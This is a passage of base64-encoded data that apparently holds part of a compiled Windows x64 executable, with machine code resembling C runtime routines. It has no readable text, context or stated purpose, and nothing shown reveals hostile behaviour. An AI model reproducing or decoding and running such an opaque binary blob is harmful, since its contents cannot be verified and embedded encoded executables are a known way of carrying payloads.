YtJPIPpAnQcg+kBdB2D+Ql0GIN7PA10XopDQSxjqO8PlcDrAjLAhMB0TEiDQyAISItDIEiLk2AEAABED7dI+EiF0nUMQbgAAgAASI1TWOsKTIuDWAQAAEnR6EiLQwhIjUtQSIlEJCDo9zwAAIXAdC7GQ0AB6yhIjUNYTIuACAQAAE2FwEwPRMBIg0MgCEiLSyCKUfhBiBDHQ1ABAAAASI1LWLABSIuRCAQAAEiF0kgPRNFIiVNISIPEMFvDzMzMSIlcJBBIiXQkGFdIg+wgxkFUAUiNeVhIg0EgCEiL2UiLQSBEi0E8D7dRQkiLCQ+3cPjo2eT//0iLjwgEAACEwHUvTItLCEiNVCQwQIh0JDBIhcmIRCQxSA9Ez0mLAUxjQAjotToAAIXAeRDGQ0AB6wpIhclID0TPZokxSIuPCAQAALABSIt0JEBIhcnHQ1ABAAAASA9Ez0iJS0hIi1wkOEiDxCBfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIEiL2UGK6ItJPESL8uhy+f//SIvISIvwSIPpAXR+SIPpAXRYSIPpAnQ0SIP5BHQX6BckAADHABYAAADo7CIAADLA6QUBAACLQzBIg0MgCMHoBKgBSItDIEiLePjrXItDMEiDQyAIwegEqAFIi0MgdAZIY3j460OLePjrPotDMEiDQyAIwegEqAFIi0MgdAdID794+OskD7d4+Osei0MwSINDIAjB6ASoAUiLQyB0B0gPvnj46wQPtnj4i0swi8HB6ASoAXQOSIX/eQlI99+DyUCJSzCDezgAfQnHQzgBAAAA6xNIY1M4g+H3iUswSI1LWOgG4v//SIX/dQSDYzDfxkNUAESKzUWLxkiLy0iD/gh1CkiL1+ii5P//6weL1+ht4///i0MwwegHqAF0HYN7UAB0CUiLS0iAOTB0Dkj/S0hIi0tIxgEw/0NQsAFIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXsPMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIEiL2UGK6ItJPESL8ujy9///SIvISIvwSIPpAXR+SIPpAXRYSIPpAnQ0SIP5BHQX6JciAADHABYAAADobCEAADLA6QsBAACLQzBIg0MgCMHoBKgBSItDIEiLePjrXItDMEiDQyAIwegEqAFIi0MgdAZIY3j460OLePjrPotDMEiDQyAIwegEqAFIi0MgdAdID794+OskD7d4+Osei0MwSINDIAjB6ASoAUiLQyB0B0gPvnj46wQPtnj4i0swi8HB6ASoAXQOSIX/eQlI99+DyUCJSzCDezgAfQnHQzgBAAAA6xNIY1M4g+H3iUswSI1LWOgu4f//SIX/dQSDYzDfxkNUAUSKzUWLxkiLy0iD/gh1CkiL1+iy4///6weL1+h14v//i0MwwegHqAF0I4N7UAC4MAAAAHQJSItLSGY5AXQPSINDSP5Ii0tIZokB/0NQsAFIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXsPMzMxIiVwkCFdIg+wgSINBIAhIi9lIi0EgSIt4+OgdSwAAhcB1FOg0IQAAxwAWAAAA6AkgAAAywOtEi0s86FX2//9Ig+gBdCtIg+gBdBxIg+gCdA9Ig/gEdcxIY0MoSIkH6xWLQyiJB+sOD7dDKGaJB+sFikMoiAfGQ0ABsAFIi1wkMEiDxCBfw8zMQFNIg+wgSINBIAhIi9lIi0EgRItDOEGD+P9Ii0j4uP///3+LUzxED0TASIlLSIPqAnQcg+oBdB2D+gl0GIN7PA10MIpDQSxjqO8PlcDrAjLAhMB0HkiFyXULSI0Ni+4AAEiJS0hJY9DGQ1QB6Oc6AADrGEiFyXULSI0Nfe4AAEiJS0hJY9DofTkAAIlDULABSIPEIFvDzMxIiVwkCEiJdCQQV0iD7CBIg0EgCEiL+UiLQSCLcTiD/v9Ei0E8D7dRQkiLWPi4////f0iJWUgPRPBIiwno/9///4TAdCFIhdt1C0iNHQPuAABIiV9ISGPWSIvLxkdUAehcOgAA60xIhdt1C0iNHfLtAABIiV9IRTPJhfZ+MoA7AHQtSItHCA+2E0iLCEiLAUiNSwFED7cEUEGB4ACAAABID0TLQf/BSI1ZAUQ7znzOQYvBiUdQsAFIi1wkMEiLdCQ4SIPEIF/DzEiD7CiLQRTB6AyoAQ+FgQAAAOj9SAAATGPITI0Vu4MBAEyNHXSYAQBNi8FBjUECg/gBdhtJi8FJi9FIwfoGg+A/SI0MwEmLBNNIjRTI6wNJi9KAejkAdSdBjUECg/gBdhdJi8BIwfgGQYPgP0mLBMNLjQzATI0UyEH2Qj0BdBTo8B4AAMcAFgAAAOjFHQAAMsDrArABSIPEKMPMzEiJXCQQSIl0JBhXSIPsUEiLBcqBAQBIM8RIiUQkQIB5VABIi9kPhJYAAACDeVAAD46MAAAASItxSDP/SItDCEiNVCQ0RA+3DkiNTCQwg2QkMABIjXYCQbgGAAAASIlEJCDoCjYAAIXAdVFEi0QkMEWFwHRHTI2TaAQAAEmLAkyNSyiLSBTB6Qz2wQF0D0mLAkiDeAgAdQVFAQHrFkiNQxBJi8pIjVQkNEiJRCQg6AICAAD/xzt7UHWC60eDSyj/60FEi0FQTI2RaAQAAEmLAkyNSShIi1FIi0gUwekM9sEBdA9JiwJIg3gIAHUFRQEB6xFIjUMQSYvKSIlEJCDosgEAALABSItMJEBIM8zo363//0iLXCRoSIt0JHBIg8RQX8PMzMxIiVwkEEiJbCQYSIl0JCBXSIPsMDPtSIvZQDhpVA+FiwAAADlpUA+OggAAAEiLcUiL/UyLSwhIjUwkQGaJbCRASIvWSYsBTGNACOh1MwAATGPAhcB+UkiLi2gEAAAPt1QkQEiLQQhIOUEQdRFAOGkYdAX/QyjrJYNLKP/rH/9DKEj/QRBIi4NoBAAASIsIZokRSIuDaAQAAEiDAAJJA/D/xzt7UHWM6yeDSyj/6yFEi0NQSI1BEEiLU0hMjUkoSIHBaAQAAEiJRCQg6BkAAABIi1wkSLABSItsJFBIi3QkWEiDxDBfw8zMRYXAD4SbAAAASIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wgTIv5SWPwSIsJSYv5SItBCEg5QRB1EYB5GAB0BUEBMetKQYMJ/+tESCtBEEyL9kiLCUg7xkwPQvBLjRw2TIvD6G/E//9JiwdIARhJiwdMAXAQSYsHgHgYAHQEATfrDUw79nQFgw//6wNEATdIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMzMSIvESIlYCEiJaBBIiXAYSIl4IEFUQVZBV0iD7CBMi3wkYEmL+Ulj6EiL8kyL8UmLH0iF23UL6OkbAABIi9hJiQdEiyODIwBIA+7rc0mLBg++FotIFMHpDPbBAXQKSYsGSIN4CAB0TovKSYsW6HtFAACD+P91P0mLB0iFwHUI6KEbAABJiQeDOCp1O0mLBotIFMHpDPbBAXQKSYsGSIN4CAB0EkmLFrk/AAAA6DxFAACD+P90BP8H6wODD/9I/8ZIO/V1iOsDgw//gzsAdQhFheR0A0SJI0iLXCRASItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMzMxAVUiL7EiD7GBIi0UwSIlFwEyJTRhMiUUoSIlVEEiJTSBIhdJ1FegBGwAAxwAWAAAA6NYZAACDyP/rSk2FwHTmSI1FEEiJVchIiUXYTI1NyEiNRRhIiVXQSIlF4EyNRdhIjUUgSIlF6EiNVdBIjUUoSIlF8EiNTTBIjUXASIlF+OhD1///SIPEYF3DzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEFVQVdIg+wwRTPtSYvpSYvwSIv6TIvhTDlsJHAPhO0AAABNhcl1FkiF0nUaTYXAD4XaAAAAQYvd6eYAAABIhf8PhMkAAABIhfYPhMAAAABIg8v/6DMaAABMi0wkcEiL10mLzEg79XY+izBMjUUBSIuEJIAAAABIiUQkKEiLRCR4SIlEJCDo3db//4P4/nVd6PcZAACDOCIPhYIAAADo6RkAAIkw63lEizhMi8ZIi4QkgAAAAEiJRCQoSItEJHhIiUQkIOif1v//ZkSJbHf+g/j+dRlIO+t1GOiuGQAAgzgidUHopBkAAESJOOs3hcB5G2ZEiS+D+P51KuiNGQAAxwAiAAAA6GIYAADrGIvY6xTodxkAAMcAFgAAAOhMGAAASIPL/0iLbCRYi8NIi1wkUEiLdCRgSIt8JGhIg8QwQV9BXUFcw8zMzMdEJBAAAAAAi0QkEOlTGQAAzMzM6YMuAADMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiL8ov56FIsAABFM8lIi9hIhcAPhD4BAABIiwhIi8FMjYHAAAAASTvIdA05OHQMSIPAEEk7wHXzSYvBSIXAD4QTAQAATItACE2FwA+EBgEAAEmD+AV1DUyJSAhBjUD86fUAAABJg/gBdQiDyP/p5wAAAEiLawhIiXMIg3gECA+FugAAAEiDwTBIjZGQAAAA6whMiUkISIPBEEg7ynXzgTiNAADAi3sQdHqBOI4AAMB0a4E4jwAAwHRcgTiQAADAdE2BOJEAAMB0PoE4kgAAwHQvgTiTAADAdCCBOLQCAMB0EYE4tQIAwIvXdUC6jQAAAOs2uo4AAADrL7qFAAAA6yi6igAAAOshuoQAAADrGrqBAAAA6xO6hgAAAOsMuoMAAADrBbqCAAAAiVMQuQgAAABJi8D/FePNAACJexDrEItIBEyJSAhJi8D/Fc7NAABIiWsI6RP///8zwEiLXCQwSItsJDhIi3QkQEiDxCBfw8zMiwVKjAEAw8yJDUKMAQDDzEiLFZV6AQCLykgzFTSMAQCD4T9I08pIhdIPlcDDzMzMSIkNHYwBAMNIixVtegEATIvBi8pIMxUJjAEAg+E/SNPKSIXSdQMzwMNJi8hIi8JI/yVGzQAAzMxMiwU9egEATIvJQYvQuUAAAACD4j8ryknTyU0zyEyJDciLAQDDzMzMSIvESIlYCEiJcBBIiXgYTIlgIEFXTItUJDAz9kmL2UmJMknHAQEAAABIhdJ0B0yJAkiDwghEis5BvCIAAABmRDkhdRFFhMlBD7fEQQ+UwUiDwQLrH0n/Ak2FwHQLD7cBZkGJAEmDwAIPtwFIg8ECZoXAdB1FhMl1xWaD+CB0BmaD+Al1uU2FwHQLZkGJcP7rBEiD6QJAiv5Bv1wAAAAPtwFmhcAPhNQAAABmg/ggdAZmg/gJdQlIg8ECD7cB6+tmhcAPhLYAAABIhdJ0B0yJAkiDwghI/wNBuwEAAACLxusGSIPBAv/ARA+3CWZFO8908GZFO8x1N0GEw3UcQIT/dA1mRDlhAnUGSIPBAusKQIT/RIveQA+Ux9Ho6xL/yE2FwHQIZkWJOEmDwAJJ/wKFwHXqD7cBZoXAdC9AhP91DGaD+CB0JGaD+Al0HkWF23QQTYXAdAhmQYkASYPAAkn/AkiDwQLpbv///02FwHQIZkGJMEmDwAJJ/wLpIP///0iF0nQDSIkySP8DSItcJBBIi3QkGEiLfCQgTItkJChBX8NAU0iD7CBIuP////////8fTIvKSDvIcz0z0kiDyP9J9/BMO8hzL0jB4QNND6/ISIvBSPfQSTvBdhxJA8m6AQAAAOiCEQAAM8lIi9joRBUAAEiLw+sCM8BIg8QgW8PMzMxIiVwkCFVWV0FWQVdIi+xIg+wwM/9Ei/GFyQ+ETwEAAI1B/4P4AXYW6OcUAACNXxaJGOi9EwAAi/vpMQEAAEiNHYeJAQBBuAQBAABIi9Mzyf8VpskAAEiLNd+LAQBIiR2wiwEASIX2dAVmOT51A0iL80iNRUhIiX1ATI1NQEiJRCQgRTPASIl9SDPSSIvO6G39//9Mi31AQbgCAAAASItVSEmLz+j3/v//SIvYSIXAdRjoXhQAALsMAAAAM8mJGOhwFAAA6W7///9OjQT4SIvTSI1FSEiLzkyNTUBIiUQkIOgb/f//QYP+AXUWi0VA/8hIiR01iwEAiQUfiwEAM8nraUiNVThIiX04SIvL6JdFAACL8IXAdBlIi0046BQUAABIi8tIiX046AgUAACL/us/SItVOEiLz0iLwkg5OnQMSI1ACEj/wUg5OHX0iQ3LigEAM8lIiX04SIkVzooBAOjREwAASIvLSIl9OOjFEwAASItcJGCLx0iDxDBBX0FeX15dw8zMSIlcJAhXSIPsIDP/SDk9TYoBAHQEM8DrQ+h6UAAASIvYSIXAdQWDz//rJ0iLy+g1AAAASIXAdQWDz//rDkiJBSSKAQBIiQUVigEAM8noXhMAAEiLy+hWEwAAi8dIi1wkMEiDxCBfw8xIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7DBMi/Ez9ovOTYvGQQ+3FuspZoP6PUiNQQFID0TBSIvISIPI/0j/wGZBOTRAdfZNjQRASYPAAkEPtxBmhdJ10kj/wboIAAAA6BkPAABIi9hIhcB0ckyL+EEPtwZmhcB0Y0iDzf9I/8VmQTk0bnX2SP/FZoP4PXQ1ugIAAABIi83o4Q4AAEiL+EiFwHQmTYvGSIvVSIvI6KvO//8zyYXAdUlJiT9Jg8cI6IUSAABNjTRu66VIi8voQwAAADPJ6HASAADrA0iL8zPJ6GQSAABIi1wkUEiLxkiLdCRgSItsJFhIg8QwQV9BXl/DRTPJSIl0JCBFM8Az0ugWEQAAzMxIhcl0O0iJXCQIV0iD7CBIiwFIi9lIi/nrD0iLyOgSEgAASI1/CEiLB0iFwHXsSIvL6P4RAABIi1wkMEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsMEiLPYKIAQBIhf91fIPI/0iLXCRASIt0JEhIg8QwX8ODZCQoAEGDyf9Ig2QkIABMi8Az0jPJ6INNAABIY/CFwHTLugIAAABIi87oxw0AAEiL2EiFwHQ/TIsHQYPJ/4l0JCgz0jPJSIlEJCDoTk0AAIXAdCIz0kiLy+gAUwAAM8noXREAAEiDxwhIiwdIhcB1j+l6////SIvL6EQRAADpav///8zMzEiD7ChIiwlIOw3uhwEAdAXo8/7//0iDxCjDzMxIg+woSIsJSDsNyocBAHQF6Nf+//9Ig8Qow8zMSIPsKEiLBamHAQBIhcB1Jkg5BZWHAQB1BDPA6xnoMv3//4XAdAno6f7//4XAdepIiwV+hwEASIPEKMPMSIPsKEiNDWWHAQDofP///0iNDWGHAQDojP///0iLDWWHAQDobP7//0iLDVGHAQBIg8Qo6Vz+//9Ig+woSIsFPYcBAEiFwHU5SIsFKYcBAEiFwHUmSDkFFYcBAHUEM8DrGeiy/P//hcB0Cehp/v//hcB16kiLBf6GAQBIiQX/hgEASIPEKMPMzOmL/P//zMzMSIlcJAhIiWwkEEiJdCQYV0iD7CAz7UiL+kgr+UiL2UiDxweL9UjB7wNIO8pID0f9SIX/dBpIiwNIhcB0Bv8V3cUAAEiDwwhI/8ZIO/d15kiLXCQwSItsJDhIi3QkQEiDxCBfw0iJXCQIV0iD7CBIi/pIi9lIO8p0G0iLA0iFwHQK/xWZxQAAhcB1C0iDwwhIO9/r4zPASItcJDBIg8QgX8PMzMxIiVwkCEyJTCQgV0iD7CBJi9lJi/iLCuhkUQAAkEiLz+gTAAAAkIsL6KdRAABIi1wkMEiDxCBfw0BTSIPsIEiL2YA9JIYBAAAPhZ8AAAC4AQAAAIcFA4YBAEiLAYsIhcl1NEiLBRNyAQCLyIPhP0iLFe+FAQBIO9B0E0gzwkjTyEUzwDPSM8n/Fe/EAABIjQ0ghgEA6wyD+QF1DUiNDSqGAQDoXQcAAJBIiwODOAB1E0iNFWXFAABIjQ0+xQAA6Jn+//9IjRVixQAASI0NU8UAAOiG/v//SItDCIM4AHUOxgWGhQEAAUiLQxDGAAFIg8QgW8PoMAkAAJDMzMwzwIH5Y3Nt4A+UwMNIiVwkCESJRCQYiVQkEFVIi+xIg+xQi9lFhcB1SjPJ/xW/wQAASIXAdD25TVoAAGY5CHUzSGNIPEgDyIE5UEUAAHUkuAsCAABmOUEYdRmDuYQAAAAOdhCDufgAAAAAdAeLy+ihAAAASI1FGMZFKABIiUXgTI1N1EiNRSBIiUXoTI1F4EiNRShIiUXwSI1V2LgCAAAASI1N0IlF1IlF2OhV/v//g30gAHQLSItcJGBIg8RQXcOLy+gBAAAAzEBTSIPsIIvZ6B9QAACD+AF0KGVIiwQlYAAAAIuQvAAAAMHqCPbCAXUR/xVpwQAASIvIi9P/FabBAACLy+gLAAAAi8v/FVfCAADMzMxAU0iD7CBIg2QkOABMjUQkOIvZSI0VWtwAADPJ/xU6wgAAhcB0H0iLTCQ4SI0VWtwAAP8VvMAAAEiFwHQIi8v/FSfDAABIi0wkOEiFyXQG/xXPwQAASIPEIFvDzEiJDfGDAQDDugIAAAAzyUSNQv/phP7//zPSM8lEjUIB6Xf+///MzMxFM8BBjVAC6Wj+//9Ig+woTIsF0W8BAEiL0UGLwLlAAAAAg+A/K8hMOQWigwEAdRJI08pJM9BIiRWTgwEASIPEKMPoTQcAAMxFM8Az0uki/v//zMxIg+wojYEAwP//qf8///91EoH5AMAAAHQKhw0ZjAEAM8DrFehkDAAAxwAWAAAA6DkLAAC4FgAAAEiDxCjDzMzMSIPsKP8VQsEAAEiJBVuDAQD/FT3BAABIiQVWgwEAsAFIg8Qow8zMzEiNBSWDAQDDSI0FLYMBAMNIiVwkCEiJdCQQTIlMJCBXSIPsMEmL+YsK6AJOAACQSI0dHokBAEiNNa9wAQBIiVwkIEiNBROJAQBIO9h0GUg5M3QOSIvWSIvL6P5ZAABIiQNIg8MI69aLD+gWTgAASItcJEBIi3QkSEiDxDBfw8zMuAEAAACHBcmCAQDDTIvcSIPsKLgEAAAATY1LEE2NQwiJRCQ4SY1TGIlEJEBJjUsI6Fv///9Ig8Qow8zMQFNIg+wgi9noJx0AAESLgKgDAABBi9CA4gL22hvJg/v/dDaF23Q5g/sBdCCD+wJ0FegyCwAAxwAWAAAA6AcKAACDyP/rHUGD4P3rBEGDyAJEiYCoAwAA6weDDSB3AQD/jUECSIPEIFvDzMzMiwUqggEAw8xIg+wog/kBdhXo5goAAMcAFgAAAOi7CQAAg8j/6wiHDQSCAQCLwUiDxCjDzEiNBfmBAQDDSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwrosEwAAJBIi8/oUwAAAIv4iwvo8kwAAIvHSItcJDBIg8QgX8PMSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwrodEwAAJBIi8/oxwEAAIv4iwvotkwAAIvHSItcJDBIg8QgX8PMSIlcJBBIiWwkGEiJdCQgV0FWQVdIg+wgSIsBM+1Mi/lIixhIhdsPhGgBAABMixUdbQEATItLCEmL8kgzM00zykiLWxBBi8qD4T9JM9pI08tI085J08lMO8sPhacAAABIK964AAIAAEjB+wNIO9hIi/tID0f4jUUgSAP7SA9E+Eg7+3IeRI1FCEiL10iLzuhVWAAAM8lMi/DoywkAAE2F9nUoSI17BEG4CAAAAEiL10iLzugxWAAAM8lMi/DopwkAAE2F9g+EygAAAEyLFX9sAQBNjQzeSY0c/kmL9kiLy0kryUiDwQdIwekDTDvLSA9HzUiFyXQQSYvCSYv580irTIsVSmwBAEG4QAAAAEmNeQhBi8hBi8KD4D8ryEmLRwhIixBBi8BI08pJM9JJiRFIixUbbAEAi8qD4T8rwYrISYsHSNPOSDPySIsISIkxQYvISIsV+WsBAIvCg+A/K8hJiwdI089IM/pIixBIiXoISIsV22sBAIvCg+A/RCvASYsHQYrISNPLSDPaSIsIM8BIiVkQ6wODyP9Ii1wkSEiLbCRQSIt0JFhIg8QgQV9BXl/DSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wgSIsBSIvxSIsYSIXbdQiDyP/pzwAAAEyLBWtrAQBBi8hJi/hIMzuD4T9Ii1sISNPPSTPYSNPLSI1H/0iD+P0Ph58AAABBi8hNi/CD4T9Mi/9Ii+tIg+sISDvfclVIiwNJO8Z070kzwEyJM0jTyP8VFb4AAEyLBQ5rAQBIiwZBi8iD4T9IixBMiwpIi0IITTPISTPASdPJSNPITTvPdQVIO8V0sE2L+UmL+UiL6EiL2OuiSIP//3QPSIvP6OEHAABMiwXCagEASIsGSIsITIkBSIsGSIsITIlBCEiLBkiLCEyJQRAzwEiLXCRASItsJEhIi3QkUEiDxCBBX0FeX8PMzEiL0UiNDbZ+AQDpZQAAAMxMi9xJiUsISIPsOEmNQwhJiUPoTY1LGLgCAAAATY1D6EmNUyCJRCRQSY1LEIlEJFjot/z//0iDxDjDzMxIhcl1BIPI/8NIi0EQSDkBdRJIiwUjagEASIkBSIlBCEiJQRAzwMPMSIlUJBBIiUwkCFVIi+xIg+xASI1FEEiJRehMjU0oSI1FGEiJRfBMjUXouAIAAABIjVXgSI1NIIlFKIlF4OgK/P//SIPEQF3DSI0FhWsBAEiJBeaDAQCwAcPMzMxIg+woSI0N5X0BAOhs////SI0N8X0BAOhg////sAFIg8Qow8xIg+wo6Nv1//+wAUiDxCjDQFNIg+wgSIsdd2kBAEiLy+iPBAAASIvL6HtWAABIi8voV1cAAEiLy+jb7v//SIvL6D/5//+wAUiDxCBbw8zMzDPJ6T2k///MQFNIg+wgSIsNj4MBAIPI//APwQGD+AF1H0iLDXyDAQBIjR1FbAEASDvLdAzoIwYAAEiJHWSDAQCwAUiDxCBbw0iD7ChIiw0xgwEA6AQGAABIiw0tgwEASIMlHYMBAADo8AUAAEiLDdl8AQBIgyURgwEAAOjcBQAASIsNzXwBAEiDJb18AQAA6MgFAABIgyW4fAEAALABSIPEKMPMSI0VydUAAEiNDcLUAADp5VQAAMxIg+wohMl0FkiDPRR6AQAAdAXoXQ8AALABSIPEKMNIjRWX1QAASI0NkNQAAEiDxCjpL1UAAMzMzEiD7CjoDxcAAEiLQBhIhcB0CP8VPLsAAOsA6GEAAACQQFNIg+wgM9tIhcl0DEiF0nQHTYXAdRuIGegOBQAAuxYAAACJGOjiAwAAi8NIg8QgW8NMi8lMK8FDigQIQYgBSf/BhMB0BkiD6gF17EiF0nXZiBno1AQAALsiAAAA68TMSIPsKOiTVQAASIXAdAq5FgAAAOjUVQAA9gX9aAEAAnQquRcAAAD/Fdi4AACFwHQHuQcAAADNKUG4AQAAALoVAABAQY1IAuhNAQAAuQMAAADol/f//8zMzMzMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIK9FNhcB0avfBBwAAAHQdD7YBOgQKdV1I/8FJ/8h0UoTAdE5I98EHAAAAdeNJu4CAgICAgICASbr//v7+/v7+/o0ECiX/DwAAPfgPAAB3wEiLAUg7BAp1t0iDwQhJg+gIdg9NjQwCSPfQSSPBSYXDdM8zwMNIG8BIg8gBw8zMzE2FwHUYM8DDD7cBZoXAdBNmOwJ1DkiDwQJIg8ICSYPoAXXlD7cBD7cKK8HDQFNIg+wgTIvCSIvZSIXJdA4z0kiNQuBI9/NJO8ByQ0kPr9i4AQAAAEiF20gPRNjrFeh6+P//hcB0KEiLy+iOUwAAhcB0HEiLDReDAQBMi8O6CAAAAP8V6bYAAEiFwHTR6w3oRQMAAMcADAAAADPASIPEIFvDzMzMSIlcJBBIiXQkGFVXQVZIjawkEPv//0iB7PAFAABIiwUYZgEASDPESImF4AQAAEGL+Ivyi9mD+f90BeiFmv//M9JIjUwkcEG4mAAAAOjbof//M9JIjU0QQbjQBAAA6Mqh//9IjUQkcEiJRCRISI1NEEiNRRBIiUQkUP8VvbYAAEyLtQgBAABIjVQkQEmLzkUzwP8VrbYAAEiFwHQ2SINkJDgASI1MJFhIi1QkQEyLyEiJTCQwTYvGSI1MJGBIiUwkKEiNTRBIiUwkIDPJ/xV6tgAASIuFCAUAAEiJhQgBAABIjYUIBQAASIPACIl0JHBIiYWoAAAASIuFCAUAAEiJRYCJfCR0/xWJtgAAM8mL+P8VR7YAAEiNTCRI/xU0tgAAhcB1EIX/dQyD+/90B4vL6JCZ//9Ii43gBAAASDPM6AmS//9MjZwk8AUAAEmLWyhJi3MwSYvjQV5fXcPMSIkNQXkBAMNIiVwkCEiJbCQQSIl0JBhXSIPsMEGL2UmL+EiL8kiL6ejzFAAASIXAdD1Ii4C4AwAASIXAdDFIi1QkYESLy0iJVCQgTIvHSIvWSIvN/xWGtwAASItcJEBIi2wkSEiLdCRQSIPEMF/DTIsVamQBAESLy0GLykyLx0wzFcJ4AQCD4T9J08pIi9ZNhdJ0D0iLTCRgSYvCSIlMJCDrrkiLRCRgSIvNSIlEJCDoIwAAAMzMzEiD7DhIg2QkIABFM8lFM8Az0jPJ6Df///9Ig8Q4w8zMSIPsKLkXAAAA/xUptQAAhcB0B7kFAAAAzSlBuAEAAAC6FwQAwEGNSAHonv3///8VtLQAAEiLyLoXBADASIPEKEj/Jem0AADMM8BMjQ3n0AAASYvRRI1ACDsKdCv/wEkD0IP4LXLyjUHtg/gRdwa4DQAAAMOBwUT///+4FgAAAIP5DkEPRsDDQYtEwQTDzMzMSIlcJAhXSIPsIIv56KcTAABIhcB1CUiNBa9kAQDrBEiDwCSJOOiOEwAASI0dl2QBAEiFwHQESI1YIIvP6Hf///+JA0iLXCQwSIPEIF/DzMxIg+wo6F8TAABIhcB1CUiNBWdkAQDrBEiDwCRIg8Qow0iD7CjoPxMAAEiFwHUJSI0FQ2QBAOsESIPAIEiDxCjDSIXJdDdTSIPsIEyLwTPSSIsNgn8BAP8V1LQAAIXAdRfou////0iL2P8VYrMAAIvI6PP+//+JA0iDxCBbw8zMzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7CBEi/lMjTWCcv//TYvhSYvoTIvqS4uM/hAFAgBMixVqYgEASIPP/0GLwkmL0kgz0YPgP4rISNPKSDvXD4RbAQAASIXSdAhIi8LpUAEAAE07xA+E2QAAAIt1AEmLnPZwBAIASIXbdA5IO98PhKwAAADpogAAAE2LtPagXgEAM9JJi85BuAAIAAD/Fb+zAABIi9hIhcB1T/8VmbIAAIP4V3VCjViwSYvORIvDSI0VVMQAAOj3+v//hcB0KUSLw0iNFVHVAABJi87o4fr//4XAdBNFM8Az0kmLzv8Vb7MAAEiL2OsCM9tMjTWhcf//SIXbdQ1Ii8dJh4T2cAQCAOseSIvDSYeE9nAEAgBIhcB0CUiLy/8VLrMAAEiF23VVSIPFBEk77A+FLv///0yLFV1hAQAz20iF23RKSYvVSIvL/xXSsQAASIXAdDJMiwU+YQEAukAAAABBi8iD4T8r0YrKSIvQSNPKSTPQS4eU/hAFAgDrLUyLFRVhAQDruEyLFQxhAQBBi8K5QAAAAIPgPyvISNPPSTP6S4e8/hAFAgAzwEiLXCRQSItsJFhIi3QkYEiDxCBBX0FeQV1BXF/DzMxAU0iD7CBIi9lMjQ3Q1AAAuRwAAABMjQXA1AAASI0VvdQAAOgA/v//SIXAdBZIi9NIx8H6////SIPEIFtI/yWNswAAuCUCAMBIg8QgW8PMzEiJXCQISIlsJBBIiXQkGFdIg+xQQYvZSYv4i/JMjQ390wAASIvpTI0F69MAAEiNFezTAAC5AQAAAOia/f//SIXAdFJMi4QkoAAAAESLy0iLjCSYAAAAi9ZMiUQkQEyLx0iJTCQ4SIuMJJAAAABIiUwkMIuMJIgAAACJTCQoSIuMJIAAAABIiUwkIEiLzf8V7bIAAOsyM9JIi83oqQIAAIvIRIvLi4QkiAAAAEyLx4lEJCiL1kiLhCSAAAAASIlEJCD/FcmxAABIi1wkYEiLbCRoSIt0JHBIg8RQX8NAU0iD7CBIi9lMjQ1M0wAAuQMAAABMjQU40wAASI0VEcIAAOjU/P//SIXAdA9Ii8tIg8QgW0j/JWiyAABIg8QgW0j/JfSwAABAU0iD7CCL2UyNDQ3TAAC5BAAAAEyNBfnSAABIjRXiwQAA6I38//+Ly0iFwHQMSIPEIFtI/yUisgAASIPEIFtI/yXGsAAAzMxAU0iD7CCL2UyNDc3SAAC5BQAAAEyNBbnSAABIjRWqwQAA6EX8//+Ly0iFwHQMSIPEIFtI/yXasQAASIPEIFtI/yVusAAAzMxIiVwkCFdIg+wgSIvaTI0NiNIAAIv5SI0Vf8EAALkGAAAATI0Fa9IAAOj2+///SIvTi89IhcB0CP8VjrEAAOsG/xUusAAASItcJDBIg8QgX8PMzMxIiVwkCEiJdCQQV0iD7CBBi/BMjQ030gAAi9pMjQUm0gAASIv5SI0VNMEAALkSAAAA6Jr7//+L00iLz0iFwHQLRIvG/xUvsQAA6wb/FbevAABIi1wkMEiLdCQ4SIPEIF/DzMzMSIlcJAhIiWwkEEiJdCQYV0iD7FBBi9lJi/iL8kyNDdHRAABIi+lMjQW/0QAASI0VwNEAALkUAAAA6C77//9IhcB0UkyLhCSgAAAARIvLSIuMJJgAAACL1kyJRCRATIvHSIlMJDhIi4wkkAAAAEiJTCQwi4wkiAAAAIlMJChIi4wkgAAAAEiJTCQgSIvN/xWBsAAA6zIz0kiLzeg9AAAAi8hEi8uLhCSIAAAATIvHiUQkKIvWSIuEJIAAAABIiUQkIP8VZa8AAEiLXCRgSItsJGhIi3QkcEiDxFBfw0iJXCQIV0iD7CCL+kyNDR3RAABIi9lIjRUT0QAAuRYAAABMjQX/0AAA6GL6//9Ii8tIhcB0CovX/xX6rwAA6wXod00AAEiLXCQwSIPEIF/DSIl8JAhIjT3scQEASI0F9XIBAEg7x0iLBctcAQBIG8lI99GD4SLzSKtIi3wkCLABw8zMzEBTSIPsIITJdS9IjR0TcQEASIsLSIXJdBBIg/n/dAb/FUeuAABIgyMASIPDCEiNBZBxAQBIO9h12LABSIPEIFvDzMzMSIlcJAhXSIPsMINkJCAAuQgAAADoWzsAAJC7AwAAAIlcJCQ7HddtAQB0bUhj+0iLBdNtAQBIiwz4SIXJdQLrVItBFMHoDagBdBlIiw23bQEASIsM+ejOTQAAg/j/dAT/RCQgSIsFnm0BAEiLDPhIg8Ew/xWArQAASIsNiW0BAEiLDPnoAPn//0iLBXltAQBIgyT4AP/D64e5CAAAAOgmOwAAi0QkIEiLXCRASIPEMF/DzMzMSIlcJAhMiUwkIFdIg+wgSYv5SYvYSIsK6L+p//+QSItTCEiLA0iLAEiFwHRai0gUi8HB6A2oAXROi8EkAzwCdQX2wcB1Cg+64QtyBP8C6zdIi0MQgDgAdQ9IiwNIiwiLQRTR6KgBdB9IiwNIiwjo5QEAAIP4/3QISItDCP8A6wdIi0MYgwj/SIsP6Fmp//9Ii1wkMEiDxCBfw8zMSIlcJAhMiUwkIFZXQVZIg+xgSYvxSYv4iwroBToAAJBIix2RbAEASGMFgmwBAEyNNMNIiVwkOEk73g+EiAAA